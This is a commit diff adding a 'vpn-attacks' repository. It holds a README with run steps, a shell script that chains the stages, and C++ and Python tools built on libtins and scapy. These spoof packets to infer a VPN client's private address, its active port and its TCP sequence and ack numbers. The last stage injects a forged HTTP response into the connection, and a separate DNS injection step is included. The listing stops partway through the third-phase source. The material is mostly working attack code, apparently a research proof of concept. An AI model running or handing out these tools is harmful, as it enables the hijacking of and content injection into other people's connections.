adding original attack test scripts and demos

README.md

@@ -1,2 +1,80 @@
 # vpn-attacks
 
+
+##### Attack Machine Environment
+
+* C++ 
+* libtins (http://libtins.github.io/download/)
+
+
+## Server-side attack
+
+
+#### Requirements
+
+* VPN client connected to a VPN server
+* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
+
+***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder
+
+
+#### Running the DNS Attack Script
+
+1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan`
+2. Compile attack script - `make`
+3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp` 
+3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`
+
+
+
+## Client-side attack
+
+
+#### Requirements
+
+* VPN client connected to a VPN server
+* Reverse path filtering disabled on the VPN client machine
+* Attack router acting as the local network gateway for the victim (VPN client) machine
+
+
+#### Running the Full Attack Script
+
+* Rebuild all the attack scripts: `./rebuild_all.sh`
+* `cd full_attack`
+* Change `attack.sh` vars to appropriate values
+* `sh attack.sh <remote_ip>`
+
+***Note:*** `remote_ip` specifies the IP address of the HTTP site.
+
+
+#### Testing Indivual attack phases 
+
+
+##### Phase 1 - Infer victim's private address
+
+* `cd first_phase`
+* `python3 send.py <victim_public_ip> <private_ip_range>`
+
+***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.
+
+
+##### Phase 2 - Infer the port being used to talk to some remote address
+
+* `cd sec_phase`
+* Edit `send.cpp` to use the correct MAC addresses
+* `g++ send.cpp -o send -ltins`
+* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`
+
+***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
+
+
+##### Phase 3 - Infer exact sequence number and in-window ack
+
+* `cd third_phase`
+* Edit `send.cpp` to use the correct MAC addresses
+* `g++ send.cpp -o send -ltins`
+* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`
+
+
+***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.
+

client-side-attack/complete_attack/attack.sh

@@ -0,0 +1,37 @@
+REMOTE_ADDR=$1
+REMOTE_PORT=80
+
+VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
+WLAN_GATEWAY=192.168.12.1  # address of local network gateway
+VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
+PRIV_NETMASK=255.255.255.0
+
+REQUEST_SIZE=529
+DEST_MAC=a4:34:d9:53:92:c4
+INTERFACE=wlp1s0
+
+echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
+
+echo `date`
+echo "attempting to infer client's private VPN address.."
+
+cd ../first_phase
+
+
+PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
+echo "phase 1 client private IP: ${PRIV_IP}"
+
+echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
+echo `date`
+echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
+cd ../sec_phase
+VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
+echo "phase 2 port result: ${VPORT}"
+
+echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
+echo `date`
+echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
+cd ../third_phase
+./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
+
+echo `date`

client-side-attack/first_phase/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o send_p1 send.cpp -lpthread -ltins -std=c++11

client-side-attack/first_phase/phase_one_attack.sh

@@ -0,0 +1,10 @@
+#/bin/bash
+
+./phase_one_attack 52:54:00:12:ae:4c\
+	52:54:00:12:ae:3f\
+	10.7.1.0\
+ 	255.255.255.0\
+	192.168.64.1\
+	ens5\
+	35220\
+	443 

client-side-attack/first_phase/send.cpp

@@ -0,0 +1,204 @@
+/*
+ * Modified from http://libtins.github.io/examples/syn-scanner/
+ *
+ * INCLUDED COPYRIGHT
+ * Copyright (c) 2016, Matias Fontanini
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above
+ *   copyright notice, this list of conditions and the following disclaimer
+ *   in the documentation and/or other materials provided with the
+ *   distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+#include <iostream>
+#include <iomanip>
+#include <vector>
+#include <set>
+#include <string>
+#include <cstdlib>
+#include <pthread.h>
+#include <unistd.h>
+#include <tins/tins.h>
+#include <tins/ip.h>
+#include <tins/tcp.h>
+#include <tins/ip_address.h>
+#include <tins/ethernetII.h>
+#include <tins/network_interface.h>
+#include <tins/sniffer.h>
+#include <tins/utils.h>
+#include <tins/packet_sender.h>
+
+using std::cout;
+using std::endl;
+using std::vector;
+using std::pair;
+using std::setw;
+using std::string;
+using std::set;
+using std::runtime_error;
+
+using namespace Tins;
+
+typedef pair<Sniffer*, string> sniffer_data;
+
+std::string vip;
+std::string gwip;
+
+bool verbose = false;
+
+
+class Scanner {
+public:
+    Scanner(NetworkInterface& interface,
+		    std::string dest_mac,
+		    std::string source_mac,
+		    std::string gateway_ip,
+		    std::string private_ip,
+		    std::string private_ip_subnet_mask,
+		    int sport,
+		    int dport);
+
+    void run();
+private:
+    void send_synacks();
+    bool callback(PDU& pdu);
+    static void* thread_proc(void* param);
+    void launch_sniffer();
+    NetworkInterface iface;
+    std::string dst_mac;
+    std::string src_mac;
+    std::string src_ip;
+    std::string victim_ip;
+    std::string victim_subnet;
+    int sport;
+    int dport;
+    Sniffer sniffer;
+};
+
+Scanner::Scanner(NetworkInterface& interface,
+		std::string dest_mac,
+		std::string source_mac,
+		std::string gateway_ip,
+		std::string private_ip,
+		std::string private_ip_subnet_mask,
+		int src_port,
+		int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
+
+}
+
+void* Scanner::thread_proc(void* param) {
+    Scanner* data = (Scanner*)param;
+    data->launch_sniffer();
+    return 0;
+}
+
+void Scanner::launch_sniffer() {
+    sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
+}
+
+/* Our scan handler. This will receive SYN-ACKS and inform us
+ * the scanned port's status.
+ */
+bool Scanner::callback(PDU& pdu) {
+	// Find the layers we want.
+	const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
+	const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
+	static int total_seen = 0;
+	if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
+		if (verbose) std::cout << "Victim IP is:";
+    std::cout << ip.src_addr() << "\n";
+		vip = ip.src_addr();
+		total_seen += 1;
+		if (total_seen > 0) {
+		return false;
+
+		}
+	}
+	return true;
+}
+
+void Scanner::run() {
+    pthread_t thread;
+    // Launch our sniff thread.
+    pthread_create(&thread, 0, &Scanner::thread_proc, this);
+    // Start sending SYNs to port.
+    send_synacks();
+
+    // Wait for our sniffer.
+    void* dummy;
+    pthread_join(thread, &dummy);
+}
+
+// Send syn acks to the given ip address, using the destination ports provided.
+void Scanner::send_synacks() {
+	// Retrieve the addresses.
+	PacketSender sender;
+	IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
+
+
+	for (const IPv4Address &addr : ip_range) {
+		EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
+		TCP& tcp = pkt.rfind_pdu<TCP>();
+		tcp.set_flag(TCP::ACK, 1);
+		tcp.set_flag(TCP::SYN, 1);
+		if (verbose) std::cout <<  "Sending to IP:" << addr << std::endl;
+		sender.send(pkt, iface);
+		sender.send(pkt, iface);
+		usleep(10);
+	}
+
+}
+
+void scan(int argc, char* argv[]) {
+	std::string dst_mac = argv[1]; // victim MAC address
+	std::string src_mac = ""; // src mac does not matter
+	std::string private_ip_subnet = argv[2];
+	std::string private_ip_subnet_mask = argv[3];
+	gwip = argv[4]; // IP of server that client is talking to
+	
+	int sport = 80; // source, dest port for phase-1 are arbitrary
+	int dport = 80;
+
+
+	IPv4Address ip(gwip);
+	// Resolve the interface which will be our gateway
+	NetworkInterface iface(ip);
+	if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
+	// Consume arguments
+	Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
+			private_ip_subnet_mask, sport, dport);
+	scanner.run();
+}
+
+int main(int argc, char* argv[]) {
+	if (argc != 6) {
+		std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
+		exit(-1);
+	}
+    try {
+        scan(argc, argv);
+    }
+    catch(runtime_error& ex) {
+        cout << "Error - " << ex.what() << endl;
+    }
+}

client-side-attack/first_phase/slow_p1.py

@@ -0,0 +1,155 @@
+#!/usr/bin/env python3
+from scapy.all import *
+import ipaddress
+from threading import Thread, Event
+from time import sleep
+import os
+
+#
+#
+#
+#
+# Thread classes for sniffing
+#
+# Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/
+
+class Sniffer(Thread):
+    def  __init__(self, iface="en0"):
+
+        super().__init__()
+
+        self.daemon = True
+        self.vpn_addr = None
+
+        self.current_phase = 1
+        self.spoof_count = 0
+        self.spoof_port = 0
+
+        self.socket = None
+        self.iface = iface
+        self.stop_sniffer = Event()
+
+    def run(self):
+        self.socket = conf.L2listen(
+            type=ETH_P_ALL,
+            iface=self.iface,
+            filter="ip"
+        )
+
+        sniff(
+            opened_socket=self.socket,
+            prn=self.handle_packet,
+
+        )
+
+    def join(self, timeout=None):
+        self.stop_sniffer.set()
+        super().join(timeout)
+
+    def get_vpn_addr(self):
+        return self.vpn_addr
+
+    def set_phase(self, phase):
+        self.current_phase = phase
+
+
+
+    def check_for_req(self, packet):
+
+        ip_layer = packet.getlayer(IP)
+
+        # for phase 1 (on ubuntu 19) we wanna look for a reset
+        # with source of private vpn address and dest of gateway
+
+        if self.current_phase == 1:
+
+            if "10." in ip_layer.src:
+
+                if ip_layer.src == self.vpn_addr:
+                    print("multiple matches for: " + str(self.vpn_addr))
+                    # could make the scan stop after this point but
+                    # only takes a second or two to finish up
+
+                print("Victim private ip is: " + str(ip_layer.src))
+                self.vpn_addr = ip_layer.src
+
+
+
+
+    def handle_packet(self, packet):
+
+        #ip_layer = packet.getlayer(IP)
+        #print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
+
+        # if its not an SSH packet then check for challenge acks
+        #
+        if TCP in packet:
+            tcp_sport = packet[TCP].sport
+            tcp_dport = packet[TCP].dport
+
+            if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22):
+
+                self.check_for_req(packet)
+############
+
+def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1", 
+        sport=50505, dport=443, flags="SA"):
+
+    pieces = gateway_ip.split('.')
+    src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN
+    src = gateway_ip
+    eth = Ether(dst=edst)
+    tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter
+
+    for ip in ipaddress.IPv4Network(dst_net + '/24'):
+        print('{} to: {}'.format(flags, str(ip)))
+        ip_pack = IP(src = src, dst = str(ip))
+        sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0)
+
+
+    print("\nFinished spreading to private address space.")
+
+
+def main():
+    if len(sys.argv) < 5:
+        print("Usage:\n{} {} {} {} {} [{}] [{}]".format(
+            sys.argv[0], "<GATEWAY_IP>", "<VPN SUBNET>", "<IFACE>", "<VICTIM_MAC>",
+            "<SPORT>", "<>"))
+        exit(-1)
+    gateway_ip = sys.argv[1]
+    vpn_net = sys.argv[2]
+    iface = sys.argv[3]
+    edst = sys.argv[4]
+    if len(sys.argv) == 6:
+        sport = int(sys.argv[5])
+    else:
+        sport = 50505
+    if len(sys.argv) == 7:
+        dport = int(sys.argv[6])
+    else:
+        dport = 443
+    if len(sys.argv) == 8:
+        flags = sys.argv[7]
+    else:
+        flags = "SA"
+
+
+    sniffer = Sniffer(iface=iface)
+    sniffer.start()
+
+    ## Phase 1 - spread private address range passed in
+    #
+    sleep(.5)
+
+    print("Scanning entire dest net " + str(vpn_net))
+    phase_one_spread(gateway_ip, str(vpn_net),
+            iface=iface, edst=edst,
+            sport=sport, dport=dport, flags=flags)
+
+    vpn_addr = sniffer.get_vpn_addr()
+    print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n')
+
+
+
+if __name__ == '__main__':
+    main()

client-side-attack/rebuild_all.sh

@@ -0,0 +1,12 @@
+echo "Remaking each attack phase script..."
+
+cd ./first_phase
+make
+
+cd ../sec_phase
+make
+
+cd ../third_phase
+make
+
+echo "Finished building attack scripts."

client-side-attack/sec_phase/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o send_p2 send.cpp -lpthread -ltins -std=c++11

client-side-attack/sec_phase/send.cpp

@@ -0,0 +1,241 @@
+#include <tins/tins.h>
+#include <cassert>
+#include <iostream>
+#include <string>
+#include <unistd.h>
+#include <thread>
+
+
+using std::thread;
+using std::cout;
+using std::string;
+using namespace Tins;
+
+
+int current_spoof_port, best_port, chack_count;
+bool sniffed_chack = false;
+bool is_running = true;
+bool verbose = false;
+bool count_chacks = false;
+bool quick_mode = true; // if true we don't recheck the port
+
+int num_sent = 0;
+string victim_wlan_addr;
+string remote_addr;
+
+
+
+void print_divider(int count) {
+  int i = 0;
+  while (i < count) {
+    if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
+    i++;
+  }
+}
+
+bool handle_packet(PDU &some_pdu) {
+
+  const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
+  // keep track of the last port we spoofed
+  if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
+
+  if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
+
+    const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+    //cout << "sniffed something: " <<payload << "\n";
+    const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
+
+    if (remainder != 0) {
+
+      //cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
+
+      // If it's not working as expected, uncomment the line above to
+      // check what the typical remainder is looking like as it scans the
+      // port range. In this case, ubuntu 19, if you uncomment the line above
+      // it would repeatedly sniff 41 packets until the correct port, then it
+      // would sniff a 48 packet
+
+      if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS 
+        if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
+
+        if (count_chacks) chack_count ++;
+        if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
+        if (!sniffed_chack) {
+          sniffed_chack = true;
+          best_port = current_spoof_port;
+        }
+      }
+    }
+  }
+  return is_running;
+}
+
+void sniff_stuff() {
+  SnifferConfiguration config;
+  config.set_promisc_mode(true);
+  Sniffer sniffer("wlp1s0", config);
+  sniffer.sniff_loop(handle_packet);
+}
+
+
+
+bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
+
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+  count_chacks = true;
+  chack_count = 0;
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::SYN, 1);
+
+  int count = 0;
+  usleep(1000000 / 2);
+
+  while (count < num_checks) {
+    sender.send(pkt, iface);
+    usleep(1000000 / 2); // must sleep half second due to chack rate limit
+    count ++;
+  }
+
+  usleep(1000000);
+
+  // should have just sniffed as many chacks as we just sent
+  if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";
+
+  if (chack_count >= num_checks) {
+    return true;
+  }
+
+  count_chacks = false;
+  num_sent += count;
+
+  return false;
+
+}
+
+
+
+// Spreads SYNs across the victim's entire port range
+// coming from a specific remote_ip:port
+//
+int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
+  int end_port = 42000;//61000;
+  int i;
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::SYN, 1);
+
+  int current_port = best_port;
+
+  for (i = start_port; i < end_port; i ++) {
+
+    tcp.dport(i); // set the packets dest port to current guess
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(10);
+
+  }
+
+  usleep(1000000); // sleep to give victim time to respond w chack
+
+  current_port = best_port;
+  if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
+
+  // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
+  // port in use. Round 2, we spoof slower from about 50 packets back to account
+  // for the delay in response and hopefully get the exact port number in use
+
+  print_divider(1);
+  usleep(1000000 / 2);
+  sniffed_chack = false;
+
+  int j;
+  int send_delay = 300;
+
+  if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
+  for (j = (current_port - send_delay); j < current_port; j++) {
+    tcp.dport(j); // set the packets dest port to current guess
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(600 * 5);
+  }
+
+  usleep(1000000);
+
+  if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
+
+  return best_port;
+
+}
+
+
+
+int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
+
+  bool is_found = false;
+  int current_port = 0;
+
+  while (!is_found) {
+
+    current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
+    print_divider(1);
+
+    if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
+
+    cout << current_port << "\n";
+
+    if (quick_mode) {
+      is_found = true;
+    } else {
+      is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
+    }
+
+  }
+
+  return current_port;
+
+}
+
+
+
+
+int main(int argc, char** argv) {
+
+  if (argc != 5 && argc != 6) {
+    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
+    return 0;
+  }
+
+  remote_addr = argv[1];
+  int sport = atoi(argv[2]);
+  victim_wlan_addr = argv[3];
+  string dest_ip = argv[4];
+  //verbose = true;
+
+  string dest_mac = argv[5];
+  string src_mac = "";
+
+  print_divider(2);
+
+  thread sniff_thread(sniff_stuff);
+
+  int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
+  is_running = false;
+  sniff_thread.detach();
+  //sniff_thread.join();
+
+  print_divider(1);
+  if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
+  cout << p << "\n";
+
+  return p;
+}

client-side-attack/third_phase/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11

client-side-attack/third_phase/send.cpp

@@ -0,0 +1,694 @@
+#include <tins/tins.h>
+#include <cassert>
+#include <iostream>
+#include <string>
+#include <unistd.h>
+#include <thread>
+
+
+using std::thread;
+using std::cout;
+using std::vector;
+using namespace Tins;
+
+long current_spoof_seq;
+long current_spoof_ack;
+long current_min_ack;
+long best_seq = 0;
+long best_ack;
+
+vector<long> possible_seqs;
+vector<long> possible_acks;
+
+int num_sent = 0;
+int current_round = 1;
+bool ack_search = false;
+bool track_nums = false;
+bool count_chacks = false;
+bool sniffed_chack = false;
+
+bool show = false;
+bool testing = true; // if using netcat set to true, else false
+int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
+
+std::string victim_wlan_addr, dest_ip, remote_addr;
+int sport, dport, request_size, chack_count;
+
+
+std::string dest_mac; // victim mac addr
+std::string src_mac = ""; // src mac doesn't matter
+
+
+void print_divider(int count) {
+  int i = 0;
+  while (i < count) {
+    cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
+    i++;
+  }
+}
+
+int inject_junk(long exact_seq, long in_win_ack) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);;
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.seq(exact_seq);
+  tcp.ack_seq(in_win_ack);
+
+  print_divider(2);
+  cout << "attempting to inject garbage into the connection..\n";
+  cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
+
+  sender.send(pkt, iface);
+  num_sent ++;
+
+  return 1;
+
+}
+
+
+// Send the same probe a number of times 
+// to see if the same amount of responses are 
+// triggered from the client
+//
+bool rechack(long seq, long ack, int num_checks) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+  count_chacks = true;
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  if (ack == 0) {
+    tcp.set_flag(TCP::RST, 1);
+  } else {
+    tcp.set_flag(TCP::PSH, 1);
+    tcp.set_flag(TCP::ACK, 1);
+    tcp.ack_seq(ack);
+  }
+
+
+  tcp.seq(seq);
+  chack_count = 0;
+  int count = 0;
+  usleep(1000000 / 2);
+
+  while (count < num_checks) {
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
+    count ++;
+  }
+
+  usleep(1000000);
+
+  // should have just sniffed as many chacks as we just sent
+  cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
+
+  if (chack_count >= num_checks) {
+    return true;
+  }
+
+  count_chacks = false;
+
+  return false;
+
+}
+
+
+// Use the fact the client will respond to empty PSH-ACKs
+// that have an in window ack AND a sequence number less than the exact
+// next expected sequence, with chall-acks to infer exact sequence num
+//
+long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.ack_seq(in_win_ack);
+
+  count_chacks = false;
+  track_nums = false;
+
+  long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
+  sniffed_chack = false;
+  long curr_seq = in_win_seq;
+
+  // Continually decrement the in window sequence number
+  // until we sniff a chack which means we just passed the
+  // left edge of the sequence window
+  //
+  print_divider(1);
+  bool is_found = false;
+
+  while (!is_found) {
+
+    long j = curr_seq;
+    sniffed_chack = false;
+
+    while (j > min_seq && !sniffed_chack) {
+      usleep(send_delay);
+      cout << "spoofing with seq: " << j << "\n";
+
+      tcp.seq(j);
+      sender.send(pkt, iface);
+      num_sent ++;
+      j -= 1;
+    }
+
+    usleep(100000);
+    curr_seq = best_seq;
+    cout << "best seq at end of exact scan: " << curr_seq << "\n";
+
+    print_divider(1);
+    is_found = rechack(curr_seq, in_win_ack, 2);
+    if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
+
+  }
+
+  return curr_seq;
+}
+
+
+// Use the fact the client will respond to empty PSH-ACKs
+// that have an in window sequence number AND ack number less than the
+// ack number in use with chall-acks to infer an in-window ack number
+//
+long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  // Loop over ack space sending empty push-acks
+  // that user the in window sequence number found before
+  //
+
+  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.seq(in_win_seq);
+
+  sniffed_chack = false;
+  chack_count = 0;
+  count_chacks = true;
+  track_nums = true;
+
+  current_min_ack = min_ack;
+  long j = max_ack;
+  long current_ack = 0;
+  best_ack = 0;
+
+
+  while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
+    usleep(send_delay);
+
+    tcp.ack_seq(j);
+    sender.send(pkt, iface);
+    num_sent ++;
+
+    if (verbose && show) cout << "spoofing with ack: " << j << "\n";
+
+    if (j < 100000000) { // for tiny ack range
+      j -= block_size / 100;
+
+    } else {
+      j -= block_size;
+    }
+  }
+
+  usleep(100000);
+
+
+  for (int i = 0; i < possible_acks.size(); i ++) {
+    long cack = possible_acks[i];
+    if (cack > current_ack) current_ack = cack;
+
+  }
+  cout << "best ack at end of ack scan: " << current_ack << "\n";
+  track_nums = false;
+
+  return current_ack;
+}
+
+// Finds the "quiet" portion of the ack range to
+// start scanning and then begins to find an approx
+// ack block close to the one being used
+//
+long quack_spread(long in_win_seq) {
+
+  cout << "starting quack spread w seq: " << in_win_seq << "\n";
+
+  long start_ack_guess = 4294967294 / 2;
+  long end_ack_guess = 100;
+
+  long block_size = 100000000;
+  sniffed_chack = false; // assume its gonna find an ack here first
+
+
+  // if the actual ack is less than half of the max_ack allowed,
+  // then it will consider acks at the very top end of the ack space (~429.....)
+  // to be less than that small ack. therefore, we check if the max ack
+  // triggers chacks right away, if so then we half the start_ack guess (~214....)
+
+
+  bool triggering = rechack(in_win_seq, start_ack_guess, 3);
+
+  cout << "is ack in upper half? " << triggering << "\n";
+
+  if (triggering) { // then we know the ack is in the lower half of the ack space
+    start_ack_guess = start_ack_guess * 2;
+  }
+
+  long j = start_ack_guess;
+  sniffed_chack = false;
+  print_divider(1);
+
+  // Now continually decrement ack until we trigger another chack
+  //
+
+  int send_delay = 75000;
+  bool is_found = false;
+  long current_ack = 0;
+
+  while (!is_found) {
+
+    current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
+
+    cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
+    print_divider(1);
+
+    // recheck and send multiple to make sure we found correct ack block
+    is_found = rechack(in_win_seq, current_ack, 2);
+    if (show) cout << "was in win after rechack? " << is_found << "\n";
+
+    if (!is_found) start_ack_guess = current_ack;
+  }
+
+
+  return current_ack;
+}
+
+// Use the fact the client will respond to RSTs
+// with an in-window sequence number with chall-acks to
+// infer an in-window seq number
+//
+long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
+
+  PacketSender sender;
+  NetworkInterface iface("wlp1s0");
+
+  long max_seq = top_seq;
+  long adder = prev_block_size * delay_mult;
+
